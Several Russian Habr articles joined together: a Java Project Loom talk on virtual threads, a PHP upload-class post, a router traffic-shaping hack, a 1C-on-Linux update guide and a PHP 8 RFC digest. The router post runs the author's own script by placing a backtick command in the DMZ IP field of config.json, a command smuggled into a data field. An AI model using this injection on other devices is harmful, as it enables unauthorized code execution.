Первый сервис, который я вам покажу, — что-то вроде эквивалента «hello world» при использовании подобных служб. Запускаем код из примера выше, переходим в окно терминала и вводим curl-команду.
Curl-команда кодирует параметр миллисекунд обратно в JSON, который возвращается.
Не слишком интересно, потому что все, что было сделано, — это сон. Остановлю сервер и вставлю Thread.dumpStack():
```
public String sleep(@QueryParam("millis") long millis) throws Exception {
Thread.dumpStack();
Thread.sleep(millis);
return "{ \"millis\": \"" + millis + "\" };
}
```
Снова запущу сервер. Я снова выполняю команду curl, которая устанавливает HTTP-соединение с сервером, она подключается к эндпоинту сна, параметр — millis=100.
`curl http://localhost:8081/sleep?millis=100`
Посмотрим на вывод: печатается трассировка стека, созданная `Thread.dumpStack()` в сервисе.
Огромная трассировка стека, мы видим здесь кучу всего: код Helidon, код Weld, JAX-RS… Довольно интересно просто увидеть это всё. Это сервер, который создает виртуальный поток для каждого запроса, что довольно интересно.
Теперь посмотрим на более сложный сервис. Я показал вам комбинаторы
invokeAny и involeAll в простом демо в самом начале, когда показывал новый ExecutorService.
```
import ...
@Path("/")
public class AggregatorServices {
@GET
@Path("anyOf")
@Produces(MediaType.APPLICATION_JSON)
public String anyOf(@QueryParam("left") String left,
@QueryParam("right") String right) throws Exception {
if (left == null || right == null) {
throw new WebApplicationException(Response.Status.BAD_REQUEST);
}
try (var executor = Executors.newVirtualThreadExecutor()) {
Callable task1 = () -> query(left);
Callable task2 = () -> query(right);
// return the first to succeed, cancel the other
return executor.invokeAny(List.of(task1, task2));
}
}
@GET
@Path("allOf")
@Produces(MediaType.APPLICATION\_JSON)
public String allOf(@QueryParam("left") String left,
@QueryParam("right") String right) throws Exception {
if (left == null || right == null) {
throw new WebApplicationException(Response.Status.BAD\_REQUEST)
}
try (var executor = Executors.newVirtualThreadExecutor()) {
Callable task1 = () -> query(left);
Callable task2 = () -> query(right);
// if one falls, the other is cancelled
return executor.invokeAll(List.of(task1, task2), true)
.stream()
.map(Future::join)
.collect(Collectors.joining(", ", "{", " }"));
}
}
private String query(String endpoint) {...}
}
```
Здесь у нас несколько сервисов, они находятся в этом исходном файле под названием AggregatorServices. Здесь есть две службы, два метода я бы сказал: anyOf и allOf. anyOf выполняет левый и правый запросы и выбирает тот, который возвращается первым, а другой отменяет.
Начнем с anyOf. Я вызвал curl-команду:
```
curl http://localhost:8081/anyOf?left=/greeting\&right=/sleep?millis=200
```
localhost:8081 — это текущий порт, эндпоинт — anyOf, и я дал ей два параметра — left и right. Я выполняю это и получаю «hello world»:
`{"message":"Hello World!"}`
Причина в том, что сервис приветствия просто выводит «hello world», а сервис сна спит 200 мс. Я предполагаю, что большую часть времени «hello world» будет быстрее, чем 200 мс, и всегда будет возвращаться «hello world».
Если я уменьшу сон до 1 мс, то, возможно, сервис сна завершится раньше, чем другой сервис.
Теперь давайте изменим запрос на allOf, который объединит два результата:
```
curl http://localhost:8081/allOf?left=/greeting\&right=/sleep?millis=1
```
Запускаю и получаю два результата.
`{ {"message":"Hello World!"}, { "millis": "1" } }`
Что интересно в allOf, он делает два запроса параллельно.
```
private String query(String endpoint) {
URI uri = URI.create("http://localhost:8081").resolve(endpoint);
return ClientBuilder.newClient()
.target(uri)
.request(MediaType.APPLICATION_JSON)
.get(String.class);
}
```
Кстати, это блокирующий код. Он использует клиентский API JAX-RS для подключения к этому эндпойнту. Он использует вызов invokeAll(), а затем .stream (), .map для получения результата, а затем Collectors.joining(), для объединения в JSON.
Это простой пример разветвления. Интересно то, что тут invokeAll() — это вариант, в котором есть параметр cancelOnException. Если вы хотите вызвать несколько задач одновременно, но если одна из них не работает, вы отменяете все остальные. Это важно сделать, чтобы не застрять в ожидании завершения всех остальных задач.
В этих примерах я использую [сборку для раннего доступа Loom](https://jdk.java.net/loom
). Мы очень близки к первому рампдауну JDK 16, поэтому код, над которым я работаю — это JDK 16, каков он сейчас, плюс вся реализация Loom.
Ограничения
===========
Поговорим об ограничениях.
В настоящее время существует два сценария, в которых виртуальные потоки, пытающиеся уступить, не освобождают базовый поток ОС. В примере я показал, как можно получить трассировку стека, когда поток закреплен, что на самом деле очень полезно для диагностики проблем такого типа.
Первый сценарий возникает, когда вы используете нативные фреймы. Если у вас есть код JNI, вы вызываете код JNI, он обращается обратно в код Java, а затем этот код Java пытается заблокироваться или совершить IO-операцию. На континуации есть нативный фрейм, мы мало что можем сделать. Это потенциально постоянное ограничение, но подобное должно происходить очень и очень редко.
Второй случай более проблематичен, и это то, что я показал в демонстрации: попытка
парковки, удерживая монитор. Скорее всего, первая версия будет с этим ограничением, это особенность реализации, влияющая на качество сервиса. В настоящее время ведутся исследования по реимплементации мониторов, чтобы преодолеть это ограничение. Но это серьезный объем работы, на это потребуется время.
На самом деле это не очень критично. По той простой причине, что всё, что сегодня использует мониторы Java, можно механически преобразовать из использования synchronized и wait-notify в использование блокировок из java.util.concurrent. Так что существуют эквиваленты мониторов в блокировках java.util.concurrent и различные формы блокировок, самый простой из которых — ReentrantLock, они очень хорошо работают с виртуальными потоками.
Что вы можете сделать при подготовке к Loom?
Если вам нравится Loom и вы заинтересованы в том, чтобы подготовить код для работы с Loom, есть пара вещей, о которых стоит подумать.
Предположим, у вас миллион потоков и код, который использует много ThreadLocals. Хотя виртуальные потоки поддерживают ThreadLocals, при их большом количестве требуется много памяти. Тут есть над чем подумать. Мы уже довольно давно работаем в JDK над устранением многих из ThreadLocals, которые использовались в различных местах.
Распространенным является кэширование объектов SimpleDateFormat.
SimpleDateFormat может быть дорогостоящим в создании, они не являются потокобезопасными, поэтому люди повсеместно кэшируют их в ThreadLocals.
В JDK мы заменили кэширование SimpleDateFormats на новый неизменяемый формат даты java.date dateformatter. Он неизменяем, вы можете сохранить его
в static final поле, это достаточно хорошо. Мы удалили ThreadLocals и из некоторых других мест.
Другая сложность сводится к масштабированию приложения и обработке десятков тысяч запросов. Если у вас много данных на запрос или на транзакцию, это может занимать много места. Если у вас миллион TCP-соединений, это миллион буферов сокетов. Если вы оборачиваете каждый из них в BufferedOutputStream, PrintStream или что-то в этом роде, это много памяти. Мы работали над подобными вещами и в JDK, но я уверен, что дальше по стеку у людей будет много данных на запрос или на транзакцию.
Третье, как я уже говорил, переход от мониторов к java.util.concurrent позволяет избежать краткосрочных проблем.
Я говорил в основном о виртуальном потоке как о потоке в коде, но давайте поговорим о нескольких других вещах.
Расскажу немного об отладчике.
При отладке действительно важно, чтобы при движении по шагам, вы
работали в каком-то контексте. Обычно отладчики Java (в IntelliJ, NetBeans, Eclipse) используют интерфейс отладчика под названием JDI, где под капотом находится wire protocol, а в виртуальной машине есть интерфейс инструментов, называемый JVM Tool Interface или JVM TI, как мы его иногда называем. Это все необходимо обновить, чтобы иметь возможность поддерживать виртуальные потоки.
Оказывается, это значительный объем работы. Отладчики занимаются приостановкой и возобновлением, они фактически перечисляют потоки. Тут возникают сложности с масштабируемостью при переходе от тысяч потоков к сотням тысяч или
миллионам потоков.
Кроме того, наш подход к поддержке подобного в отладчиках оказался сбивающим с толку. Отладчик видит два потока: основной «носитель» (поток нашей ОС) и виртуальный поток. С этим было связано с множеством проблем, поэтому мы решили остановиться и пересмотреть все это. Так что это область сейчас работает не очень хорошо, но мы близки к тому, чтобы решить эти проблемы. Так что в это время ведется гигантский объем работы для повторной реализации и перестройки частей JVM TI для лучшей поддержки виртуальных потоков.
Итак, мы приближаемся к цели, большая часть деталей уже реализована, и мы надеемся, что очень скоро у нас будет гораздо лучшая ситуация с отладкой.
И последнее, что нужно сказать об отладчиках: кто-то спрашивает, когда мы все это доделаем, будут ли имеющиеся отладчики «просто работать»? Мы ожидаем, что в отладчики и инструментарий потребуется внести хотя бы некоторые небольшие изменения, чтобы они могли работать с виртуальными потоками. В основном на фронте масштабируемости, не имеет смысла пытаться визуализировать миллион потоков в отладчике. Такие вещи, как группы потоков — это уже легаси, и попытки визуализировать что-либо в группах потоков, вероятно, не будут работать хорошо.
Перейдем к виртуальным потокам в профилировщике.
Это тоже очень важная область. Java Flight Recorder был обновлен в сборках Loom для поддержки виртуальных потоков. Я не был уверен, что во время доклада успею продемонстрировать использование JFR с виртуальными потоками, поэтому вместо этого я просто зафиксировал вывод команды print в JFR, просто чтобы показать вам, на что он способен.
В данном случае я сделал запись с JFR.
Он просто называется server.jfr, это имя файла записи. Эта конкретная запись была сделана при запуске сервера Jetty, настроенного для использования виртуальных потоков. Выходные данные показывают одно событие, чтение сокета. И оно произошло в виртуальном потоке. JFR по умолчанию имеет порог, кажется, около 200 мс, он может захватывать медленную операцию чтения, которая занимает больше времени, чем время порога.
Давайте расскажу, что именно здесь запечатлено. «virtual = true» указывает на то, что это виртуальный поток. Я распечатал всю трассировку стека, поэтому вы можете увидеть, что это действительно работает в виртуальном потоке, мы видим все фреймы, тут используются java.net.url и HTTP для чтения сокета, и это блокирует более чем на 200 мс. Это записано здесь в этой трассировке стека. Это то, что вы можете делать с JFR, что весьма полезно.
Помимо Flight Recorder, поддерживающего виртуальные потоки, существует множество других инструментов и профилировщиков, использующих JVM TI, поэтому нам приходится работать над множеством вещей, чтобы иметь возможность поддерживать профилировщики на основе JVM TI, работающие с виртуальными потоками.
В этой области есть проблемы, о которых я упоминал в контексте отладчиков, попытки визуализировать тысячи и тысячи потоков.
То же самое и с профилировщиками. Если их используют для приложения с миллионом потоков, не думаю, что следует пытаться визуализировать их все, это будет неудобно для пользователя. Это область, которая, вероятно, не будет масштабироваться, по крайней мере, с точки зрения пользовательского интерфейса. Это тип проблем, с которыми мы сталкиваемся при работе с некоторыми инструментами.
Serviceability
--------------
Чтобы иметь возможность использовать виртуальные потоки в продакшне, мы должны решить множество других задач по устранению неполадок и диагностике.
Я показал вам довольно простую распечатку трассировки стека, когда потоки закреплены. Будут и другие сценарии, значимые для разработчиков. Они не смогут идентифицировать, например, запущенные виртуальные потоки, выполняющие «вычислительные» задачи (упирающиеся в CPU), они никогда не блокируются. Было бы полезно идентифицировать их.
Дамп потоков — это то, с чем мы боролись в течение некоторого времени. Люди привыкли использовать дампы потоков для устранения неполадок, но что это значит, если у вас миллион потоков? Вы хотите просто увидеть все потоки, но дедуплицировать их? Вы хотите иметь другие формы? Это те вещи, которые нам еще предстоит изучить.
Текущий статус того, где мы находимся с Loom
--------------------------------------------
Цель состоит в том, чтобы получить первую демо-версию с виртуальными потоками. У нас был ряд проблем со стабильностью, неприятные сбои, но мы думаем, что уже решили большинство из этих проблем.
Было много тонких проблем с взаимодействием с многопоточными сборщиками мусора, которые беспокоили довольно долгое время. Мы очень надеемся, что скоро получим сборку для раннего доступа, в которой будут решены эти проблемы.
Производительность также высока, был достигнут значительный прогресс в производительности за последний год, потому что это критически важно.
Поверхность API небольшая, но, как и во всех API, очень важно получить как можно больше обратной связи. API всегда проходят доработку, не бывает так, чтобы всё получилось как надо на первой итерации, мы пройдем через другие итерации, прежде чем все будет сделано.
Поддержка отладчика, как я уже упоминал, была проблемой, мы думаем, что сейчас на правильном пути, и как только мы доделаем последние штрихи, я действительно надеюсь, что у людей, которые обслуживают IDE и отладчики, будет время поработать с нами и создать условия хорошего опыта отладки.
Что еще нужно сделать для нашего первого Preview: нам необходимо выполнить перенос на ARM64 или Aarch64, мы были сосредоточены на 64-разрядной версии Intel на сегодняшний день; и нам нужно что-то сделать с дампом потоков.
Направления для будущего развития
---------------------------------
Я должен упомянуть еще несколько аспектов этого проекта. Это такой «список из будущего»: мы не ожидаем, что перечисленное в нём будет в первой версии.
Во многих случаях для запуска задачи создается виртуальный поток, который выполняет одно действие и дает один результат. В других случаях вам может понадобиться, чтобы виртуальные потоки производили стрим результатов или общались через сообщения той или иной формы.
Как вы видите в других моделях программирования, CSP или Actors. У других языков есть каналы, у Erlang есть почтовые ящики. В Java есть вещи, близкие к этому: есть BlockingQueues, SynchronousQueue, у которой нет емкости, LinkedTransferQueue, у которой есть емкость.
Профессор [Даг Ли](https://en.wikipedia.org/wiki/Doug_Lea) работал с нами над этим проектом, и он обновил реализации блокирующих очередей в java.util.concurrent, так что они дружелюбны к виртуальным потокам. Он также изучает то, что ближе к каналам. Текущее рабочее название этого проекта — «conduits», а не каналы, потому что у нас есть каналы в пакете java.nio.channels. Посмотрим, как это пойдет.
Другая область — это структурированная многопоточность. При структурированном программировании последовательное выполнение ограничено каким-либо четко
определенным блоком кода. Структурированная многопоточность заключается в распространении контроля на многопоточную среду. По сути, если задача управления разделяется на несколько задач или потоков в некоторой области, то им необходимо снова объединиться, прежде чем выйти из этой области.
В ранних прототипах Project Loom у нас действительно были первые прототипы для исследований в этой области. И мы вернемся к этому, есть проблемные области, связанные с этим. Распространение исключений и ошибок, отмена выполнения и так далее. На данный момент мы сделали, и я показывал это в демонстрациях, модифицировали ExecutorService, чтоб он расширял AutoCloseable, чтобы, по крайней мере, мы могли иметь некоторую конструкцию, которая гарантирует, что все потоки завершатся до продолжения основного потока.
Со структурированной многопоточностью связано то, что мы называем структурированным serviceability или структурированным observability. Я упоминал о проблемах профилировщиков, отладчиков и других инструментов, пытающихся
визуализировать миллионы потоков. Что, если бы эти инструменты каким-то образом исследовали бы структуру или отношения между потоками. Тогда, возможно, нам лучше бы удалось это визуализировать. На это мы готовы потратить больше времени.
Последний пункт в этом списке — отмена. Мы сделали несколько прототипов в этой области, несколько прототипов кооперативной отмены. В Java есть механизм прерывания, это устаревший механизм, но на самом деле он очень хорошо работает с виртуальными потоками. Для большинства разработчиков этот механизм находится на слишком низком уровне. Мы хотим понять, сможем ли мы сделать что-то лучше. У нас были механизмы отмены в ранних прототипах. Я полагаю, что основная проблема заключается в том, что наличие двух механизмов одновременно может сбивать с толку, поэтому необходимо подумать над этим немного времени, прежде чем принимать какие-то решения по этому поводу.
Главные выводы
==============
Основные выводы из этого доклада:
Виртуальный поток — это поток в коде, во время выполнения, в отладчике, профилировщике и других инструментах.
Виртуальный поток — это не оболочка вокруг потока ОС, а, по сути, просто объект Java.
Создание виртуального потока действительно очень дешево, у вас их могут быть миллионы, их не надо объединять в пулы.
Блокировка в виртуальном потоке стоит мало, что позволяет использовать синхронный стиль.
Немного дополнительной информации
---------------------------------
Один из замечательных способов внести свой вклад в такой проект, как Project Loom, — это загружать его сборки (или делать их самостоятельно из кода) и пробовать его с реальными приложениями. Отправляйте отзывы о производительности, сообщениях об ошибках, проблемах и опыте. Такие вещи очень полезны для такого проекта.
Вот ссылки на сборки раннего доступа: <https://jdk.java.net/loom>
Список рассылки: loom-dev@openjdk.java.net
И вики-страница: <https://wiki.openjdk.java.net/display/loom/Main>
У нас не очень получается поддерживать вики-страницу, поэтому список рассылки — лучшее место для поиска чего-либо.
Это все, что я хотел рассказать.
Напоследок традиционный слайд «Safe harbor»: не верьте ничему, что я говорю.
> Как можно понять по этому докладу, на наших Java-конференциях хватает хардкора: тут про Java-платформу порой рассказывают те люди, которые её и делают. В апреле мы проведём **JPoint**, и там тоже будет интересный состав спикеров (многие знают, например, Джоша Лонга из VMware). Часть имён уже названа [на сайте](https://jpoint.ru/#speakers/?utm_source=habr&utm_medium=543272), а другие позже появятся там же. | https://habr.com/ru/post/543272/ | null | ru | null |
# Один из лучших классов для загрузки файлов на сервер. (PHP)
Хочу познакомить вас с одним из лучших классов, на мой взгляд, для загрузки файлов на сервер.
позволяет делать с изображением все что угодно
Ничего лучше чем пример быть не может, так что сразу к делу…
Читаем дальше если интересно...
Самый простой пример с сайта разарботчика.
`$handle = new upload($_FILES['image_field']);
if ($handle->uploaded)
{
// преобразования с файлом, все возможности в ссылке ниже
$handle->file_new_name_body = 'image_resized';
$handle->image_resize = true;
$handle->image_x = 100;
$handle->image_ratio_y = true;
$handle->process('/home/user/files/'); // дирекстория для загрузки
if ($handle->processed)
{
echo 'image resized'; // собственно дальнейшая работа с обработанной картинкой на сервере
$handle->clean();
} else {
echo 'error : ' . $handle->error; // вывод ошибок (рускоязычный файл ошибок доступен на сайте)
}
}`
Как видите черезвычайно просто и удобно, а также [демонстрация возможностей](http://www.verot.net/php_class_upload_samples.htm).
Сам пользуюсь и как говорится «всем советую».
[Скачать библиотеку](http://www.verot.net/php_class_upload_download.htm) | https://habr.com/ru/post/39969/ | null | ru | null |
# Ограничение скорости на DIR-320N/RU
Понадобилось устроить шейпер на какой-нибудь дешевой железке. Железкой планировался быть **DIR-320** от известного китайского производителя. Но вместо хорошего и простого **DIR-320** приехал ужасный и непонятный **DIR-320NRU** и начались проблемы.
Изначально идея была проста: ставим **OpenWRT** и рулим как хотим. Но поставить на NRU OpenWRT пока не представляется возможным (буду счастлив, если кто-нибудь поправит), формат загрузчика непонятный, признаков squashfs в прошивке я беглым взглядом не нашел. Да и времени искать, как-то не оказалось. Поковырявшись в родной прошивке, стало ясно, что для выполнения задачи все необходимые инструменты (читай: tc) в ней есть. Вообще в родной прошивке дофига чего есть, даже man-страницы имеют место наличествовать.
Методом научного тыка и какой-то матери, было установлено, что все изменяемые настройки хранятся в папке **/etc/default**, (коя является симлинком на /tmp/etc/default, впрочем суть). Все файлы лежащие в этой папке аккуратным образом запаковываются и записываться в nvram командой **/usr/sbin/saveconfig**, а загружаются (в т.ч. и при старте системы) соответственно **/usr/sbin/loadconfig**, cat присутствует, chmod тоже, проблем со скриптами нет. Зато есть проблемы с запуском скриптов при загрузке.
Поковырявшись еще немного, обнаружился файл **/etc/default/config.json** и демон **/bin/resident**, который этот конфиг парсит и выполняет всякое в конфиге этом прописанное. Написан он по всей видимости небрежно и даже не китайцами, а индусами, или что вероятнее индо-русами строки из файла сразу же пихает на выполнение. Тут-то и прешла инженерная мысль подменить какую-нить строку на скрипт. Первая попавшаяся опция была **DMZ-хост** — меняем содержимое config.json вида:
`"dmz": {
"enable": true,
"ip": "192.168.0.2"
},`
на
`"dmz": {
"enable": true,
"ip": "`/etc/default/shaper.sh`"
},`
**resident** это все проглатывает и вместо **-DNAT --to 192.168.0.1**, запускает наш скрипт. А если скрипт возвращает правильный ip-адрес, то еще и DMZ-хост прописывается правильно. Вуаля!
Ну и немного кода на последок:
**/etc/default/shaper.sh**
`tc qdisc del dev br0 root
tc qdisc add dev br0 root handle 1: htb default 2
tc class add dev br0 parent 1: classid 1:1 htb rate 10mbps
tc class add dev br0 parent 1:1 classid 1:2 htb rate 50kbps
for ip in `cat /etc/default/ips`;do
tc class add dev br0 parent 1:1 classid 1:${ip} htb rate 50kbps
tc filter add dev br0 parent 1: protocol ip prio 1 u32 match ip dst 192.168.0.${ip}/32 flowid 1:${ip}
done
echo cat /etc/default/DMZ.txt
led wps progress`
сам шейпер, DMZ хост берестся из файла DMZ.txt, **/etc/default/ips** — последние байты адресов (2 3 4 5..254)
последней строкой включаем на моргание внутреннюю неонку, чтобы раздражала и нервировала, а так же информировала, что все вышенаписанное загрузилось и работает.
Скрипт для подмены
`echo Set DMZ Host to 9.9.9.9 via WebIF and run me again!
echo Use /etc/default/DMZ.txt to set DMZ Host IP
sed -i s/9.9.9.9/"\`\/etc\/default\/shaper.sh\`"/g /etc/default/config.json
saveconfig`
sed для нас так же оставлен, что не может не радовать.
А больше ничего и не надо. Работает примерно так: настраиваем все как надо в web-интерфейса, прописываем DMZ-host в 9.9.9.9 (там же), соединяемся telnet и запускаем **/etc/default/modify.sh**
перезагружаем роутер путем выдергивания и вдергивания кабеля или командой reboot. | https://habr.com/ru/post/133476/ | null | ru | null |
# Обновляем платформу 1С на сервере под управлением Linux
Вступление
----------
Здравствуйте, меня зовут Шилин Никита и в прошлом я довольно много работал разработчиком 1С, а так же выполнял сопутствующие задачи. В настоящий момент я всё больше занимаюсь управлением командой и исполняю функции CTO на производственном предприятии. Команда у нас небольшая, отдельного девопса нет, а системный администратор ~~не должен заниматься настройкой сервера 1С~~ используется для других целей. Одной из задач на текущий момент для меня является администрирование сервера 1С на базе Ubuntu и его окружения.
Данная статья является, по сути, моей методичкой, которую я написал, собрав опыт настройки сервера под Linux с различных статей, официальной документации и просто покопавшись руками "вот в этом вот всем". Так как я ни разу не системный администратор и уж тем более под Linux, мне это далось с трудом, пришлось дополнительно много с чем разобраться. А мне ещё и делегировать это...
Действуя по этой методичке вы сможете обновить свою платформу в конце 2022 года, включить отладку на сервере и обновить свой веб-сервер. В отличие от большинства гайдов, работать будем с подсистемой systemd, вместо описанных везде init.d.
Проблематика
------------
В последних дистрибутивах платформы 1С поменяла философию работы как с установочными файлами, так и с самими настройками сервера, поэтому первое с чем вы столкнетесь — это огромный ворох статей пятилетней давности, неактуальной документацией на its и множеством вопросов в духе "Почему не работает, я же все сделал по инструкции?". Плюс информация довольно сильно размазана и некоторые шаги я делал интуитивно, складывая, по аналогии, информацию из нескольких статей и пытаясь "изменить-сохранить-перезапустить" без малейшего понимания что я делаю, зачем, и надежды на то что оно вообще заработает. Спойлер: заработало.
Надеюсь, эта статья здорово сократит вам путь и снимет с вас головную боль от мысли что надо обновить платформу до последней версии, отладка отвалится, интеграции прилягут, а утром пользователи начнут звонить к вам в кровать.
Окружение
---------
Мы используем Ubuntu 20.04.2 LTS (x64) для сервера 1С.
Вторую такую же машину для веб-сервера + Apache 2.4 для самописной интеграции с Битрикс24 (веб-хуки) и публикаций / внутренних сервисов компании.
Так же терминальный сервер для пользователей под Windows Server 2019 Standard.
Все настройки будут происходить по SSH/WinSCP. Все команды, выполняемые в консоли выполняются от имени пользователя с полными правами (root).
Больше никакой воды, переходим к инструкции.
Инструкция по обновлению
------------------------
1. Сделаем архивы всех боевых баз. Надеюсь, вы еще и проверяете что они работают. Мы проверяем.
2. Скачаем нужный дистрибутив с сайта users.v8.1c. Когда перейдёте на страницу для выбора варианта своего дистрибутива вас неприветливо встретят 34 ссылки с вариантами клиентов и прочей информацией. Я прочитал и разобрался в них за вас: Выбираем "Технологическая платформа 1С:Предприятия (64-bit) для Linux".
3. Создадим на сервере папку через WinSCP, загрузим в неё дистрибутив и распакуем через WinSCP.
4. Идём в SSH-клиент, подключаемся к серверу 1С, переходим в папку с распакованным дистрибутивом, запускаем единый установочный файл:
`./setup-full-8.3.22.1709-x86_64.run`Выбираем русский язык, платформу не ставим, клиенты не ставим, сервер ставим, остальные средства администрирования на ваше усмотрение. Модули расширения веб-сервера нам тут тоже не понадобятся.
Соглашаемся, соглашаемся, соглашаемся, готово.
5. Останавливаем службу сервера текущей версии платформы:
`systemctl stop srv1cv8-8.3.21.1302@default.service`
6. Отключаем службу:
`systemctl disable srv1cv8-8.3.21.1302@`
7. Удаляем старую платформу:
`cd /opt/1cv8/x86_64/8.3.21.1302/
./uninstaller-full`
8. Регистрируем новую службу (тут надо использовать полный путь):
`systemctl link /opt/1cv8/x86_64/8.3.22.1709/srv1cv8-8.3.22.1709@.service`
9. Добавляем новую службу в автозагрузку:
`systemctl enable srv1cv8-8.3.22.1709@`
10. Запускаем службу и проверяем что она работает, перезагружаем сервер: `systemctl start srv1cv8-8.3.22.1709@default.service
systemctl status srv1cv8-8.3.22.1709@default.service
reboot`
11. Проверяем что служба перезапустилась при старте сервера.
На этом с сервером 1С - всё! Идём дальше.
12. Скачиваем новую платформу для Windows и ставим её на терминальник (установку платформы на Windows, я надеюсь, все осилят без подсказок. В любом случае есть достаточно статей на эту тему).
13. Удаляем старую платформу с терминального сервера.
14. Перезагружаем терминальный сервер.
15. Проверяем что все заработало, пробуем войти в наши базы.
16. Регистрируем новую утилиту администрирования серверов и проверяем что можем запустить её, подключиться к кластеру.
17. Проверяем что отладка не работает. ~~Плачем.~~ Идём настраивать отладку. Для этого надо отредактировать unit-файл службы на сервере 1С.
Останавливаем службу: `systemctl stop srv1cv8-8.3.22.1709@default.service`
Идём туда, где лежит файл конфигурации: `сd /opt/1cv8/x86_64/8.3.22.1709/`Открываем его:
`nano srv1cv8-8.3.22.1709@.service`Ищем строку `Environment=SRV1CV8_DEBUG=` и добавляем в конец `-http` чтобы получилось:
`Environment=SRV1CV8_DEBUG=-http`Тут стоит уточнить: вы можете использовать флаг `-tcp` вместо `-http`, но у нас стоит NAT и добиться отладки по tcp мне пока не удалось.
Сохраняем, выходим.
Перечитываем новую конфигурацию:
`systemctl daemon-reload`
Запускаем службу:
`systemctl start srv1cv8-8.3.22.1709@default.service`Проверяем статус
`systemctl status srv1cv8-8.3.22.1709@default.service`Должны увидеть следующее:
`CGroup: /system.slice/system-srv1cv8\x2d8.3.22.1709.slice/srv1cv8-8.3.22.1709@default.service
├─3266 /opt/1cv8/x86_64/8.3.22.1709/ragent -d /home/usr1cv8/.1cv8/1C/1cv8 -port 1540 -regport 1541 -range 1560:1591 -seclev 0 -pingPeriod 1000 -pingTimeout 5000 -http`
`├─3296 /opt/1cv8/x86_64/8.3.22.1709/rmngr -port 1541 -host server1c.local -range 1560:1591 -d /home/usr1cv8/.1cv8/1C/1cv8/ -debug -http -clstid bd0a303e-c762-417f-b310-dc3aa2e80fca`
`├─3400 /opt/1cv8/x86_64/8.3.22.1709/dbgs --port=1550`
`└─3401 /opt/1cv8/x86_64/8.3.22.1709/rphost -range 1560:1591 -reghost server1c.local -regport 1541 -pid decb62bb-5dbe-42b7-a6c6-bd08c442d996 -debug -http`Тут мы хотим видеть флаги `-http`, `-debug`, а так же процесс сервера отладки `dbgs`.
18. Проверяем что отладка запустилась — ставим точку останова в процедуре `ПриСозданииНаСервере()` в управляемой форме и запускаем её.
19. Танцуем, потому что мы великолепны!
20. Идём на веб сервер. Повторяем историю с WinSCP, заливаем дистрибутив, распаковываем, переустанавливаем файлы платформы для веб-сервера.
Выбираем русский язык, ставим платформу и модули расширения веб-сервера, от остального отказываемся.
21. Удаляем старую платформу:
`cd /opt/1cv8/x86_64/8.3.21.1302/
./uninstaller-full`
22. Останавливаем сервис апача:
`service apache2 stop`
23. Идём в конфигурационный файл и меняем ссылки на файлы расширения веб-сервера:
`cd /etc/apache2/
nano apache2.conf`Находим строку
`LoadModule _1cws_module "/opt/1cv8/x86_64/8.3.21.1302/wsap24.so"`
и меняем в ней версию платформы на `8.3.22.1709`.
Сохраняем, закрываем.
24. Запускаем сервис, проверяем что запустился без ошибок:
`service apache2 start
service apache2 status`
25. Проверяем что интеграция взлетела. Для этого обновим комментарий в тестовой сделке в битриксе и проверим что он обновится в 1С.
26. Удаляем установочные файлы платформы на сервере, на веб-сервере и на терминальнике.
27. После того, как 1С перешла на работу с единым файлом для установки всего-всего, к нам на сервер заодно будет установлен gnome, который нам, например не нужен. Отказаться нельзя. Поэтому мы удаляем gnome, который поставился вместе с платформой:
`apt purge gnome-shell gnome-control-center gnome-keyring
apt autoremove`
Вот и всё! Можно возвращаться к работе.
Заключение, благодарности.
--------------------------
Для подготовки я использовал материалы следующих статей:
<https://interface31.ru/tech_it/2021/10/edinyy-distributiv-1c-dlya-linux-server.html>
<https://infostart.ru/1c/articles/805266/>
<https://rarus.ru/publications/20210927-ot-ekspertov-ustanovka-1c-linux-496320/>
Выражаю благодарность авторам, за то что они собрали информацию по работе с подсистемой systemd, так как большинство мануалов, в том числе официальных, написано для традиционной подсистемы init.
Дополнения и уточнения в комментариях приветствуются. | https://habr.com/ru/post/709308/ | null | ru | null |
# PHP-Дайджест № 177 (23 марта – 6 апреля 2020)
[](https://habr.com/ru/post/495838/)
Свежая подборка со ссылками на новости и материалы. В выпуске: расписание релиза PHP 8, анализ эргономики объектов в PHP и 5 свежих RFC из PHP Internals, немного полезных инструментов, видео, подкасты и многое другое.
Приятного чтения!
### PHP Internals
* Опубликовано [Расписание релиза PHP 8](https://wiki.php.net/todo/php80) — Первая альфа ожидается 18 июня, а финальный релиз 3 декабря. [Подробнее](https://thephp.website/en/issue/php8-release-schedule/).
* [[RFC] Constructor Property Promotion](https://wiki.php.net/rfc/constructor_promotion) — Ларри Гарфилд опубликовал подробный [анализ эргономики объектов в PHP](https://hive.blog/php/@crell/improving-php-s-object-ergonomics), в котором делает вывод, что лучше всего было бы сфокусировать на 3х RFC: Constructor Promotion, Named parameters, Compound Property Visibility (раздельное указание модификаторов доступа для чтения и записи `{public get, private set}`).
И вот по следам анализа, в данном RFC предлагается разрешить объявлять свойства прямо в конструкторе:
**Вместо такого**
```
class Point {
public float $x;
public float $y;
public float $z;
public function __construct(
float $x = 0.0,
float $y = 0.0,
float $z = 0.0
) {
$this->x = $x;
$this->y = $y;
$this->z = $z;
}
}
```
Можно будет писать:
```
class Point {
public function __construct(
public float $x = 0.0,
public float $y = 0.0,
public float $z = 0.0
) {}
}
```
* [[RFC] Allow trailing comma in parameter list](https://wiki.php.net/rfc/trailing_comma_in_parameter_list) — Ну и в дополнение к предыдущему, предлагается разрешить использовать запятую после последнего параметра в определении функции. Для списка аргументов при вызове функции это уже работает начиная с PHP 7.3.
**Скрытый текст**
```
class Uri {
private function __construct(
?string $scheme,
?string $user,
?string $pass,
?string $host,
?int $port,
string $path,
?string $query,
?string $fragment // <-- ARGH!
) {
...
}
}
```
* [[RFC] Stricter type checks for arithmetic/bitwise operators](https://wiki.php.net/rfc/arithmetic_operator_type_checks) — Этот RFC предлагает выдавать ошибку TypeError, когда арифметический или побитовый оператор применяется к массиву, ресурсу или объекту.
```
var_dump([] % [42]);
// int(0)
// WTF?
```
* [[RFC] Switch expression](https://wiki.php.net/rfc/switch_expression) — Предлагается разрешить использовать `switch` в качестве выражения, а не только как управляющую конструкцию:
```
$expressionResult = switch ($condition) {
1 => foo(),
2 => bar(),
3, 4, 5 => baz(),
};
```
Также RFC предлагает разрешить перечисление возможных значений в секциях `case`: `case 3, 4, 5: break;` вместо `case 3: case 4: case 5: break;`.
* [[RFC] Type casting in array destructuring expressions](https://wiki.php.net/rfc/typecast_array_desctructuring) — Предлагается сделать возможным использование приведения типов при деструктурировании массивов:
```
[(int) $now, (int) $future] = ["2020", "2021"];
// По сути то же, что и
[$now, $future] = ["2020", "2021"];
$now = (int) $now;
$future = (int) $future;
```
